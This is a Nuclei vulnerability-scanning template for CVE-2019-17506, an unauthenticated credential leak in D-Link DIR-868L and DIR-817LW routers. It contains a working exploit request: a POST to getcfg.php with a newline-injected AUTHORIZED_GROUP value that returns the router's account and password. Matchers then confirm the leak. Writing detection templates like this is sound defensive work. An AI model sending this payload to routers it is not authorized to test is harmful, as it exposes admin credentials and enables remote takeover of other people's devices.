nuclei-templates/cves/2019/CVE-2019-17506.yaml

39 lines
1.1 KiB
YAML

id: CVE-2019-17506
info:
name: DLINK DIR-868L & DIR-817LW Info Leak
author: pikpikcu
severity: critical
description: There are some web interfaces without authentication requirements on D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers. An attacker can get the router's username and password (and other information)
via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely.
reference:
- https://github.com/dahua966/Routers-vuls/blob/master/DIR-868/name%26passwd.py
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-17506
cwe-id: CWE-306
tags: cve,cve2019,dlink,router
requests:
- method: POST
path:
- "{{BaseURL}}/getcfg.php"
body: |
SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
headers:
Content-Type: text/xml
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "</password>"
- "DEVICE.ACCOUNT"
part: body
condition: and